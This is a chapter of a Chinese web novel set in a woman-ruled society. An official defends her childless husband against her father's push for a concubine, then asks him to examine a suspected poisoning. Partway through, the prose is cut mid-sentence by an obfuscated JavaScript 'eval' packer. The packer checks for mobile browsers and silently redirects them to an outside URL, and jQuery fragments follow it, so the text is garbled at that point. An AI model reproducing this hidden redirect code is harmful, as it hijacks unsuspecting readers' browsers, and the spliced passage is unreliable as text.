20. 双面夫郎
作品:《女尊志怪录》 许南不明所以,“你若身体不适便歇息吧,我一人去父亲那即可。”
她换了身衣服便打算往东院去,临出门前温青从里间快步走出,“妻主,我随你一道去。”
许南脚步一顿,回头仔细打量温青,内心腹诽,她的夫郎最近是怎么了,怎么感觉有些奇怪。
但是认真观察,也没发现哪里不对,还是那副温柔清隽的可人模样。
见许南从上而下地打量他,温青轻挺腰身,柔声问道:“妻主,青可是有哪里不妥?”
她摇摇头,“无事,走吧,莫让父亲久等。”
许南母亲当年在官场受到排挤打压,一朝失势狼狈回到宜阳。日子非但没有变好,还遭家中姊妹轻视嘲笑,最后抑郁而终。
她被父亲含辛茹苦养大,一路考学走到今天。对她来说,许父排在她心里的第一位。
温青清楚地知道这点,所以去往东院的这条路他走得格外艰难。许父已经提过很多次了,是他没用迟迟不能让妻主有孩子。
许南停下脚步,无奈回头看着她身后的温青,“到底怎么了?你抖什么,若是不舒服便请大夫来瞧瞧。”
她语气变得不耐,“你往日从不这样,最近为何这副姿态?”但眼睛瞧见他毫无血色的脸,语气又缓下来。
“竹心,带你家主子回去,请大夫来把把脉。”
温青小步上前,身体靠着她的手臂,嘴角扯出一抹笑,“没事的,妻主。”
懒得再说,许南觉得自己是个懂得尊重他人的好女人,遂放弃劝说。
两人很快走到东院,跨过门槛,许南一眼便瞧见了许父那张笑得合不拢嘴的脸。
“爹,可是有什么喜事,怎么高兴成这样?”许南牵着温青,走到饭桌前。
“南儿,你可算来了,你瞧瞧可还记得你这表弟?他小时候最喜粘着你,可还记得?”许父将一旁站着的男子往她跟前推。
许南却先回头看了眼温青,果然冷着一张脸,往日的招牌微笑也不见了踪迹。
她了然,“不记得了,没什么印象。”
“爹,快些命人上菜吧,再迟些你女儿可要饿死了。”
转移话题的招数果然很好用,许父一听哪得了,不管什么事哪有女儿重要,当即吩咐下人上菜。
四个人围坐在桌上,许父两旁坐着许南和那表弟,温青则坐在她身旁。
许父在对她进行照例的嘘寒问暖后,话题又回到表弟身上。
“你姨母不久后便会被调回京城,京城这些公子个顶个的复杂,你带着你表弟适应适应。”
“爹,你这话!”温青就是京城贵公子啊,哪有当着儿婿的面,直接这么说的。
她拍了拍温青的手,示意他别放在心上,“再说了,表弟一个男子,那也该是青青带他适应。我这每日忙着公务,哪有空?”
许父一听这话脸上露出些不愉快,“你这夫郎一等一的清贵,平日里大门不出二门不迈的,如何带你表弟长长见识。”
这还是许南第一次从许父口中听到他对温青的不满,一时有些语塞。
这样的时刻,表弟开口了,“舅舅,表姐说的对,还是公务最为重要。”
许父表示很欣慰,“还是你懂事。”
许南这时才将目光放到这位表弟身上,看到对方那张脸后,眼里闪过一丝惊艳。那是一张世俗意义上漂亮的脸,眼眸水润,带着浑然天成的潋滟魅惑。但尚且稚嫩的面容,让这份魅惑添上些纯净。
手背被人捏住,许南回神转头。温青挤出丝微笑,“妻主,快些用膳,怕待会凉了。”
这菜刚上桌,应该没那么容易凉吧。
“哈哈,南儿先用膳吧,有话待会再说。”许父对刚才许南的愣神表示满意,十分愉悦地给表弟夹了菜。
一顿饭结束,许父就没怎么搭理温青,甚至对于温青的示好视而不见。
许南也不知道发生了什么,以前两人相处得很不错啊。她几个月前,被皇帝提拔为刑部侍郎,忙起来没留意两人,怎么现在关系变成这样了。
“寒儿,我有话同你表姐讲,你先去里头呆着。”许父一脸慈爱,轻轻拍宋寒的肩。
随后转头换了副面孔,“温青,你先回去。”
温青先是看了眼宋寒,眼眸没有任何变化,福身告辞。
“妻主,那青在外头等你。”
人一走,许南当即指出,“爹,你为何那样与温青说话,温青是女儿的夫郎,你的儿婿,不是什么仇人。”
“南儿,不是爹苛刻他。这都七年了,你们膝下还没有个女儿,甚至儿子都没。眼看着你那些同僚一个个生女,爹着急啊。”
“爹,这事强求不得。”许南不想谈论这个话题。
“他生不出,你总得试试别人。这天下好儿郎这般多,你也该多纳几个进院子里。你爹我每日在这府中,实在觉着乏味,若有个小孙女陪着,想必日子更有盼头些。”
“温家昔日对我的仕途多有助益,从前在理县,日子艰苦,是温青每日照料我,陪着我,从未有任何怨言。”
“我答应过他,往后绝不纳小侍。”许南神色认真。
许父也知道温青昔日的付出,但温青死活生不出孩子,喝了那么多年的药都没一点用,难道要她们许家绝后吗?
“爹知道,但已经过了七年,七年独宠对一个男子而言,他应该感恩戴德。况且今时不同往日,你如今官至刑部侍郎,深受陛下看重,谁不称一句年轻有为。”
“昔日温家是出了些力,但那不也是我儿你自个争气,高中状元。不然温家哪会瞧我们一眼,爹都看得明白。”许父苦口婆心。
许南这时决定实话实说,“爹,其实我不能有孩子,这是我的命。”
许父当即炸毛,“你为了这温氏,竟然这般轻贱自己,他何德何能?”
他开始对温青进行人身攻击,“才学不出众也就罢了,那相貌也是平平。外人说好听点叫小家碧玉,难听些那张脸简直寡淡无味,细瞧都是一种残忍。”
许南不可置信地瞪大眼,什么玩意?温青才学是一般,这点她承认。但是温青那张脸,居然有人觉得寡淡无味吗?
白天端方自持,透出不食人间烟火的纯净感;晚上眉眼含情,清冷被冲散,别具一番风味。但不管怎么样,都是十分出众的长相。
她爹眼光已经高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118325|163943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成这样了吗?许南眼神不自觉看向外面,还是说一直都是她情人眼里出西施?
许父从来不是会因为不喜,就随意“诋毁”他人的人。
但这时候许南还是下意识维护温青,“爹,你不该这般说话。不管外头怎么说,你身为我父亲,温青的公爹,都不该这样贬低他!”
许父被许南严厉的话语镇住,嘴唇嚅嗫,“是爹的错,一时气昏了头,着急了些。”
“但你听爹的,先纳个小侍,生下个孩子再说。你表弟便很好,你方才不是也瞧着入迷了吗?”
“爹,我知道你是为我好,但女儿不会纳小侍的。你想要孙女,我可从许家别处,过继个孩子来陪你。”
许南大步离开。
走出房门便瞧见了站在院子中央的温青,低着头看着眼前盛开的鲜花,不知在想些什么。他独自站在那等她,就像过去每一日无论多晚,许南总会在院子前看到他等待的身影。
“站在这可有听到些什么?”许南揽住他的肩膀,语气放缓。
温青摇头,“风声很响,我光顾着看这被吹落一地的花朵了。怎么了吗,妻主?”
“哦,那没什么了。”许南说着把温青的脸掰过来,正对着她。
没什么问题啊,很好看的。
温青对于许南打量的动作有些紧张,脸上的表情僵住,“妻主为什么这么看我,可是我脸上生出细纹了?还是脸上长出别的东西了?”
“没有,你的脸一如当年。”许南细致地抚摸他的脸,最后揽着他回到院子。
去书房处理了会公务,结束时外头已经暗了下来。
洗了个冷水澡,许南这才回房。轻轻讲房门推开,一眼便瞧见了坐在书桌前看书的温青。
漆黑光泽的长发垂过丘臀,贴身的里衣勾勒出微微塌着的腰身,瞧着精瘦有力。
她放轻脚步,一下伸出手搂住这截腰身,脑袋凑到他脖颈,“再看什么?”
温青对她这样的动作习以为常,闻言侧头想要看看她。柔软的唇瓣擦过许南的脸颊,两人呼吸交错,视线交汇。
书很快掉落在地,两人从桌上转移到床上,脑子一片空白时,许南听到了温青带着哭腔的声音。
“我很快就能生孩子了,妻主你再等等我好不好。你别看他,你别看别人。”
许南微眯着眼,有些听不清,随意回答道:“我眼里只看得到你。”
云雨初歇,许南翻身下去,平躺在床上。过了会转身看一旁面色潮红的温青,戳了戳对方的脸,才说起正事。
“青青!”
“嗯。”温青柔声回应。
“明日你能否去济宁侯府替我瞧瞧那礼部尚书的儿子,看看他是否是中毒而亡?”
温青迷离的眼睛迅速恢复清明,他侧头看向许南。
“青青擅毒,这我知道。以前在理县时,那瘟疫的方子是出自你手吧。只是我看你并不想认下,便也没问。”
“你放心,我已经与济宁侯府世女说好,到时她会派人带你去瞧。可行?”
温青眼里带着光,他挪动身子挤到许南怀里,仰头望着她,重重点头,“行的,我一定要帮到妻主。”